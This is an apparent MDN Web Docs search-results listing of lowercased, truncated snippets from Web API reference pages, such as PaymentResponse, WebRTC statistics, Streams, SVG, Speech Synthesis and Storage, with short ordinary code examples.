browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PaymentResponse.methodName - Web APIs
in a real-world implementation this data would then be sent to a payment server.
... payment.show().then(paymentresponse => { var paymentdata = { // payment method string method: paymentresponse.methodname, // payment details as you requested details: paymentresponse.details, // shipping address information address: todict(paymentresponse.shippingaddress) }; // send information to the server }); specifications specification status comment payment request api candidate recommendation initial definition.
PaymentResponse.payerEmail - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PaymentRequest.payerName - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PaymentResponse.requestId - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PaymentResponse.shippingAddress - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PaymentResponse.shippingOption - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PaymentResponse - Web APIs
methods paymentresponse.retry() secure context if something is wrong with the payment response's data (and there is a recoverable error), this method allows a merchant to request that the user retry the payment.
...allows the developer to revalidate any requested user data (e.g., the phone number or the email address) if it changes.
Performance.timeOrigin - Web APIs
recommendation browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PerformanceEventTiming - Web APIs
0 : infinity; document.addeventlistener('visibilitychange', (event) => { firsthiddentime = math.min(firsthiddentime, event.timestamp); }, {once: true}); // sends the passed data to an analytics endpoint.
...function sendtoanalytics(data) { const body = json.stringify(data); // use `navigator.sendbeacon()` if available, falling back to `fetch()`.
PerformanceFrameTiming - Web APIs
performanceframetiming is an abstract interface that provides frame timing data about the browser's event loop.
... an application can register a performanceobserver for "frame" performance entry types and the observer can retrieve data about the duration of each frame event.
PerformanceLongTaskTiming.attribution - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PerformanceLongTaskTiming - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PerformanceResourceTiming - Web APIs
the performanceresourcetiming interface enables retrieval and analysis of detailed network timing data regarding the loading of an application's resources.
...additionally, the interface extends performanceentry with other properties which provide data about the size of the fetched resource as well as the type of resource that initiated the fetch.
Performance API - Web APIs
performanceframetiming provides methods and properties containing frame timing data about the browser's event loop.
... performanceresourcetiming provides methods and properties for retrieving and analyzing detailed network timing data regarding the loading of an application's resources.
Permissions - Web APIs
browser support the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PhotoCapabilities.fillLightMode - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PhotoCapabilities.imageHeight - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
imageWidth - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PhotoCapabilities.redEyeReduction - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PhotoCapabilities - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PointerEvent.getCoalescedEvents() - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Pointer Lock API - Web APIs
this is a simple event and contains no extra data.
...this is a simple event and contains no extra data.
PublicKeyCredential.response - Web APIs
syntax response = publickeycredential.response value an authenticatorresponse object containing the data a relying party's script will receive and which should be sent to the relying party's server in order to validate the demand for creation or fetching.
... this object contains data from the client (authenticatorresponse/clientdatajson) and from the authenticator.
PublicKeyCredentialCreationOptions.extensions - Web APIs
if true, the client outputs an arraybuffer which contains a value uniquely identifying a user verification data record.
... in other words, this may be used server side to check if the current operation is based on the same biometric data that the previous authentication.
PublicKeyCredentialRequestOptions.extensions - Web APIs
if true, the client outputs an arraybuffer which contains a value uniquely identifying a user verification data record.
... in other words, this may be used server side to check if the current operation is based on the same biometric data that the previous authentication.
PushManager.hasPermission() - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PushManager.subscribe() - Web APIs
this key is not the same ecdh key that you use to encrypt the data.
... example this.onpush = function(event) { console.log(event.data); // from here we can write the data to indexeddb, send it to any open // windows, display a notification, etc.
PushManager.supportedContentEncodings - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PushRegistrationManager - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PushSubscription.expirationTime - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PushSubscription.options - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PushSubscription.subscriptionId - Web APIs
syntax var subid = pushsubscription.subscriptionid; specifications specification status comment push api working draft initial definition browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Push API - Web APIs
WebAPIPush API
the resulting pushsubscription includes all the information that the application needs to send a push message: an endpoint and the encryption key needed for sending data.
... pushmessagedata provides access to push data sent by a server, and includes methods to manipulate the received data.
RTCIceCandidate.protocol - Web APIs
these values are defined by the enumerated type rtciceprotocol: tcp the candidate, if selected, would use tcp as the transport protocol for its data.
... udp the candidate will use the udp transport protocol for its data.
RTCIceCandidatePairStats.availableIncomingBitrate - Web APIs
the higher the value, the more bandwidth you can assume is available for incoming data.
... syntax availableincomingbitrate = rtcicecandidatepairstats.availableincomingbitrate; value a floating-point value which approximates the amount of available bandwidth for incoming data on the network connection described by the rtcicecandidatepair.
RTCIceCandidatePairStats.availableOutgoingBitrate - Web APIs
the higher the value, the more bandwidth you can assume is available for outgoing data.
... syntax availableoutgoingbitrate = rtcicecandidatepairstats.availableoutgoingbitrate; value a floating-point value which approximates the amount of available bandwidth for outgoing data on the network connection described by the rtcicecandidatepair.
RTCIceCandidateStats.protocol - Web APIs
syntax protocol = rtcicecandidatestats.protocol; value the value is one of the members of the rtciceprotocol enumerated string type: tcp the candidate, if selected, would use tcp as the transport protocol for its data.
... udp the candidate will use the udp transport protocol for its data.
RTCIceProtocol - Web APIs
values tcp the candidate, if selected, would use tcp as the transport protocol for its data.
... udp the candidate will use the udp transport protocol for its data.
RTCInboundRtpStreamStats.fecPacketsReceived - Web APIs
an fec packet provides parity information which can be used to attempt to reconstruct rtp data packets which have been corrupted in transit.
...forward error correction uses an exclusive-or method to perform parity checks on the received data.
RTCInboundRtpStreamStats.firCount - Web APIs
the receiver sends a fir packet to the sender any time it falls bahind or loses packets and cannot decode the incoming stream any longer because of the lost data.
... the higher fircount is, the more often frames were dropped, which may be an indication that the media's bit rate is too high for the available bandwidth, or that the receiving device is overburdened and is therefore unable to process the incoming data.
RTCInboundRtpStreamStats.perDscpPacketsReceived - Web APIs
note: not all operating systems make data available on a per-dscp basis, so this property shouldn't be relied upon on those systems.
... note: due to network bleaching and remapping, the numbers seen on this record are not necessarily going to match the values as they were when the data was sent.
RTCInboundRtpStreamStats.qpSum - Web APIs
in general, the higher this number is, the more heavily compressed the video data is.
...this value takes the place of the range of values, thereby reducing the number of different values that appear in the overall data set, making the data more compressible.
RTCNetworkType - Web APIs
cellular the connection uses a cellular data service to connect.
... this includes all cellular data services including edge (2g), hspa (3g), lte (4g), and nr (5g).
RTCOutboundRtpStreamStats.firCount - Web APIs
the receiver sends a fir packet to the sender any time it falls bahind or loses packets and cannot decode the incoming stream any longer because of the lost data.
... the higher fircount is, the more often frames were dropped, which may be an indication that the media's bit rate is too high for the available bandwidth, or that the receiving device is overburdened and is therefore unable to process the incoming data.
RTCOutboundRtpStreamStats.perDscpPacketsSent - Web APIs
note: not all operating systems make data available on a per-dscp basis, so this property shouldn't be relied upon on those systems.
... note: due to network bleaching and remapping, the numbers seen on this record are not necessarily going to match the values as they were when the data was sent.
RTCOutboundRtpStreamStats.pliCount - Web APIs
a pli packet indicates that some amount of encoded video data has been lost for one or more frames.
...these are sent by the receiver's decoder to notify the sender's encoder that an undefined amount of coded video data, which may span frame boundaries, has been lost.
RTCOutboundRtpStreamStats.qpSum - Web APIs
in general, the higher this number is, the more heavily compressed the video data is.
...this value takes the place of the range of values, thereby reducing the number of different values that appear in the overall data set, making the data more compressible.
RTCPeerConnection.getSenders() - Web APIs
the rtcpeerconnection method getsenders() returns an array of rtcrtpsender objects, each of which represents the rtp sender responsible for transmitting one track's data.
... a sender object provides methods and properties for examining and controlling the encoding and transmission of the track's data.
RTCPeerConnection.getStats() - Web APIs
the rtcpeerconnection method getstats() returns a promise which resolves with data providing statistics about either the overall connection or about the specified mediastreamtrack.
... this version of getstats() is obsolete; in addition, the data it returns is entirely different from the current specification, and the form of that data was never documented.
RTCRemoteOutboundRtpStreamStats.reportsSent - Web APIs
usage notes sender reports, described in rfc 3550, section 6.4.1 with an overview in rfc 3550, section 6.4, are used by rtp to share data transmission quality feedback between the two peers.
... the data in these reports is used by webrtc to fill out various fields within the statistics objects, and this property's value indicates how many times that information was shared.
RTCRtpContributingSource.source - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
RTCRtpReceiver.track - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
RTCRtpReceiver - Web APIs
the rtcrtpreceiver interface of the webrtc api manages the reception and decoding of data for a mediastreamtrack on an rtcpeerconnection.
... rtcrtpreceiver.getparameters() returns an rtcrtpparameters object which contains information about how the rtc data is to be decoded.
RTCRtpStreamStats.firCount - Web APIs
the receiver sends a fir packet to the sender any time it falls bahind or loses packets and cannot decode the incoming stream any longer because of the lost data.
... the higher fircount is, the more often frames were dropped, which may be an indication that the media's bit rate is too high for the available bandwidth, or that the receiving device is overburdened and is therefore unable to process the incoming data.
RTCRtpStreamStats.qpSum - Web APIs
in general, the higher this number is, the more heavily compressed the video data is.
...this value takes the place of the range of values, thereby reducing the number of different values that appear in the overall data set, making the data more compressible.
RTCRtpStreamStats - Web APIs
their primary purpose is to examine the error resiliency of the connection, as they provide information about lost packets, lost frames, and how heavily compressed the data is.
... plicount the number of times the receiving end of the stream sent a picture loss indiciation (pli) packet to the sender, indicating that it has lost some amount of encoded video data for one or more frames.
RTCRtpTransceiver.receiver - Web APIs
the read-only receiver property of webrtc's rtcrtptransceiver interface indicates the rtcrtpreceiver responsible for receiving and decoding incoming media data for the transceiver's stream.
... syntax var rtpreceiver = rtcrtptransceiver.receiver; value an rtcrtpreceiver object which is responsible for receiving and decoding incoming media data whose media id is the same as the current value of mid.
RTCStats.timestamp - Web APIs
the timestamp property of the rtcstats dictionary is a domhighrestimestamp object specifying the time at which the data in the object was sampled.
... for reports related to rtcp packets, for instance, this indicates the time at which the data covered by the statistics was received at the corresponding endpoint.
ReadableStream.getReader() - Web APIs
function fetchstream() { const reader = stream.getreader(); let charsreceived = 0; // read() returns a promise that resolves // when a value has been received reader.read().then(function processtext({ done, value }) { // result objects contain two properties: // done - true if the stream has already given you all its data.
... // value - some data.
ReadableStream.pipeThrough() - Web APIs
syntax var transformedstream = readablestream.pipethrough(transformstream[, options]); parameters transformstream a transformstream (or an object with the structure {writable, readable}) consisting of a readable stream and a writable stream working together to transform some data from one form to another.
... data writen to the writable stream can be read in some transformed state by the readable stream.
ReadableStreamDefaultReader.ReadableStreamDefaultReader() - Web APIs
function fetchstream() { const reader = stream.getreader(); let charsreceived = 0; // read() returns a promise that resolves // when a value has been received reader.read().then(function processtext({ done, value }) { // result objects contain two properties: // done - true if the stream has already given you all its data.
... // value - some data.
ReadableStreamDefaultReader.read() - Web APIs
function fetchstream() { const reader = stream.getreader(); let charsreceived = 0; // read() returns a promise that resolves // when a value has been received reader.read().then(function processtext({ done, value }) { // result objects contain two properties: // done - true if the stream has already given you all its data.
... // value - some data.
Request.destination - Web APIs
some are simply data receptacles, where the received data is stored for processing later.
... others are script-based, in which case the received data is delivered to a script by calling it and passing the data along.
Request - Web APIs
WebAPIRequest
body.formdata() returns a promise that resolves with a formdata representation of the request body.
...t credentials = request.credentials; you could then fetch this request by passing the request object in as a parameter to a windoworworkerglobalscope.fetch() call, for example: fetch(request) .then(response => response.blob()) .then(blob => { image.src = url.createobjecturl(blob); }); in the following snippet, we create a new request using the request() constructor with some initial data and body content for an api request which need a body payload: const request = new request('https://example.com', {method: 'post', body: '{"foo": "bar"}'}); const url = request.url; const method = request.method; const credentials = request.credentials; const bodyused = request.bodyused; note: the body type can only be a blob, buffersource, formdata, urlsearchparams, usvstring or readablestr...
Response - Web APIs
WebAPIResponse
body.formdata() takes a response stream and reads it to completion.
... it returns a promise that resolves with a formdata object.
SVGAElement.target - Web APIs
recommendation browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SVGAnimatedAngle - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SVGAnimatedBoolean - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SVGAnimatedEnumeration - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SVGAnimatedInteger - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SVGAnimatedLength - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SVGAnimatedLengthList - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SVGAnimatedNumber - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SVGAnimatedNumberList - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SVGAnimatedPoints - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SVGAnimatedPreserveAspectRatio - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SVGAnimatedRect - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SVGAnimatedString.animVal - Web APIs
syntax var = object.animval specifications specification status comment scalable vector graphics (svg) 1.1 (second edition) recommendation scalable vector graphics (svg) 2 candidate recommendation browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SVGAnimatedString.baseVal - Web APIs
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition) recommendation scalable vector graphics (svg) 2 candidate recommendation browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SVGAnimatedString - Web APIs
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition) recommendation scalable vector graphics (svg) 2 candidate recommendation browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SVGAnimatedTransformList - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SVGCircleElement - Web APIs
recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SVGImageElement.decode - Web APIs
the decode() method of the svgimageelement interface initiates asynchronous decoding of an image, returning a promise that resolves once the image data is ready for use.
... return value a promise which resolves once the image data is ready to be used, such as by appending it to the dom, replacing an existing image, and so forth.
SVGImageElement.decoding - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SVGImageElement - Web APIs
svgimageelement.decode() initiates asynchronous decoding of the image data.
... returns a promise which resolves once the image data is ready to be used.
SVGLengthList - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SVGNumberList - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SVGPreserveAspectRatio - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SVGStylable - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SVGTransform - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SVGTransformable - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
ScreenOrientation.angle - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
ScreenOrientation.lock() - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
ScreenOrientation.onchange - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
ScreenOrientation.type - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
ScreenOrientation.unlock() - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
ScreenOrientation - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Screen Orientation API - Web APIs
browser compatibility screenorientation the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Selection.extend() - Web APIs
WebAPISelectionextend
working draft current browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Selection.removeAllRanges() - Web APIs
working draft current browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Selection.removeRange() - Web APIs
working draft current browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Selection.toString() - Web APIs
working draft current browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Selection API - Web APIs
browser compatibility selection the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
ServiceWorkerGlobalScope.onpush - Web APIs
}) example the following example takes data from a pushevent and displays it on all of the service worker's clients.
... the data payload of the push message is available in the event object's data property (pushevent.data, which contains a pushmessagedata object.) self.addeventlistener('push', function(event) { if (!(self.notification && self.notification.permission === 'granted')) { return; } var data = {}; if (event.data) { data = event.data.json(); } var title = data.title || "something has happened"; var message = data.message || "here's something you might want to check out."; var icon = "images/new-notification.png"; var notification = new notification(title, { body: message, tag: 'simple-push-demo-notification', icon: icon }); notification.addeventlistener('click', function() { if (clients.openwindow) { clients.openwindow('https://example.blog.com/...
ServiceWorkerGlobalScope: push event - Web APIs
bubbles no cancelable no interface pushevent event handler property onpush example this example sets up a handler for push events that takes json data, parses it, and dispatches the message for handling based on information contained within the message.
... self.addeventlistener("push", event => { let message = event.data.json(); switch(message.type) { case "init": doinit(); break; case "shutdown": doshutdown(); break; } }, false); specifications specification status comment push apithe definition of 'push' in that specification.
ServiceWorkerMessageEvent.ServiceWorkerMessageEvent() - Web APIs
init optional an initialisation object, which should contain the following parameters: data: the event's data — this can be any type.
... examples var init = { data : 'hello message', source : messageportreference, ports : messageportlistreference } var myswme = new serviceworkermessageevent('message', init); ...
ServiceWorkerRegistration.navigationPreload - Web APIs
browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
ServiceWorkerRegistration.showNotification() - Web APIs
data: arbitrary data that you want to be associated with the notification.
... this can be of any data type.
SharedWorker - Web APIs
rom it using port.postmessage() and port.onmessage, respectively: first.onchange = function() { myworker.port.postmessage([first.value,second.value]); console.log('message posted to worker'); } second.onchange = function() { myworker.port.postmessage([first.value,second.value]); console.log('message posted to worker'); } myworker.port.onmessage = function(e) { result1.textcontent = e.data; console.log('message received from worker'); } inside the worker we use the sharedworkerglobalscope.onconnect handler to connect to the same port discussed above.
... onconnect = function(e) { var port = e.ports[0]; port.addeventlistener('message', function(e) { var workerresult = 'result: ' + (e.data[0] * e.data[1]); port.postmessage(workerresult); }); port.start(); // required when using addeventlistener.
SharedWorkerGlobalScope.applicationCache - Web APIs
browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SharedWorkerGlobalScope: connect event - Web APIs
self.onconnect = function(e) { var port = e.ports[0]; port.onmessage = function(e) { var workerresult = 'result: ' + (e.data[0] * e.data[1]); port.postmessage(workerresult); } port.start(); } for a complete running example, see our basic shared worker example (run shared worker.) addeventlistener equivalent you could also set up an event handler using the addeventlistener() method: self.addeventlistener('connect', function(e) { var port = e.ports[0]; port.onmessage = function(e) { var worker...
...result = 'result: ' + (e.data[0] * e.data[1]); port.postmessage(workerresult); } }); specifications specification status html living standardthe definition of 'connect event' in that specification.
SharedWorkerGlobalScope - Web APIs
for example: importscripts('foo.js', 'bar.js'); implemented from other places windowbase64.atob() decodes a string of data which has been encoded using base-64 encoding.
... windowbase64.btoa() creates a base-64 encoded ascii string from a string of binary data.
Slottable: assignedSlot - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Slottable - Web APIs
WebAPISlottable
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SourceBuffer.appendBuffer() - Web APIs
the appendbuffer() method of the sourcebuffer interface appends media segment data from an arraybuffer or arraybufferview object to the sourcebuffer.
... syntax sourcebuffer.appendbuffer(source); parameters source a buffersource (that is, either an arraybufferview or arraybuffer) which contains the media segment data you want to add to the sourcebuffer.
SourceBuffer.appendBufferAsync() - Web APIs
the appendbufferasync() method of the sourcebuffer interface begins the process of asynchronously appending media segment data from an arraybuffer or arraybufferview object to the sourcebuffer.
... syntax appendpromise = sourcebuffer.appendbufferasync(source); parameters source a buffersource (that is, either an arraybufferview or arraybuffer) which contains the media segment data you want to add to the sourcebuffer.
SourceBuffer.appendStream() - Web APIs
the appendstream() method of the sourcebuffer interface appends media segment data from a readablestream object to the sourcebuffer.
... syntax sourcebuffer.appendstream(stream, maxsize); parameters stream the readablestream that is the source of the media segment data you want to append to the sourcebuffer.
SpeechSynthesis: voiceschanged event - Web APIs
you can use the voiceschanged event in an addeventlistener method: var synth = window.speechsynthesis; synth.addeventlistener('voiceschanged', function() { var voices = synth.getvoices(); for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } }); or use the onvoiceschanged event handler property: synth.onvoiceschanged = function() { var voices = synth.getvoices(); for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].la...
...ng + ')'; option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } } specifications specification status comment web speech apithe definition of 'speech synthesis events' in that specification.
SpeechSynthesis - Web APIs
r ratevalue = document.queryselector('.rate-value'); var voices = []; function populatevoicelist() { voices = synth.getvoices(); for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.textcontent += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } } populatevoicelist(); if (speechsynthesis.onvoiceschanged !== undefined) { speechsynthesis.onvoiceschanged = populatevoicelist; } inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedo...
...ption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } utterthis.pitch = pitch.value; utterthis.rate = rate.value; synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'speechsynthesis' in that specification.
SpeechSynthesisVoice - Web APIs
function populatevoicelist() { voices = synth.getvoices(); for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.textcontent += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } } populatevoicelist(); if (speechsynthesis.onvoiceschanged !== undefined) { speechsynthesis.onvoiceschanged = populatevoicelist; } inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedo...
...ption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } utterthis.pitch = pitch.value; utterthis.rate = rate.value; synth.speak(utterthis); utterthis.onpause = function(event) { var char = event.utterance.text.charat(event.charindex); console.log('speech paused at character ' + event.charindex + ' of "' + event.utterance.text + '", which is "' + char + '".'); } inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'speechsynthesisvoice' in that specification.
StereoPannerNode.StereoPannerNode() - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Storage.length - Web APIs
WebAPIStoragelength
the length read-only property of the storage interface returns the number of data items stored in a given storage object.
... example the following function adds three data items to the local storage for the current domain, then returns the number of items in the storage: function populatestorage() { localstorage.setitem('bgcolor', 'yellow'); localstorage.setitem('font', 'helvetica'); localstorage.setitem('image', 'cats.png'); return localstorage.length; // should return 3 } note: for a real world example, see our web storage demo.
Storage.setItem() - Web APIs
WebAPIStoragesetItem
(safari sets the quota to 0 bytes in private mode, unlike other browsers, which allow storage in private mode using separate data containers.) hence developers should make sure to always catch possible exceptions from setitem().
... example the following function creates three data items inside local storage.
StorageEstimate - Web APIs
the storageestimate dictionary is used by the storagemanager to provide estimates of the size of a site's or application's data store and how much of it is in use.
... these values are only estimates for several reasons, including both performance and preventing storage capacity data from being used for fingerprinting purposes.
StorageManager.estimate() - Web APIs
the promise's fulfillment handler is called with a storageestimate containing the usage and quota data.
...this variance is based on factors such as: how often the user visits public site popularity data user engagement signals like bookmarking, adding to homescreen, or accepting push notifications example in this example, we obtain the usage estimates and present the percentage of storage capacity currently used to the user.
StorageManager.persist() - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Using writable streams - Web APIs
as a javascript developer, programmatically writing data to a stream is very useful!
...the first object is required, and creates a model in javascript of the underlying sink the data is being written to.
SubtleCrypto.wrapKey() - Web APIs
wrapping a key helps protect it in untrusted environments, such as inside an otherwise unprotected data store or in transmission over an unprotected network.
... syntax const result = crypto.subtle.wrapkey( format, key, wrappingkey, wrapalgo ); parameters format is a string describing the data format in which the key will be exported before it is encrypted.
TaskAttributionTiming.containerId - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
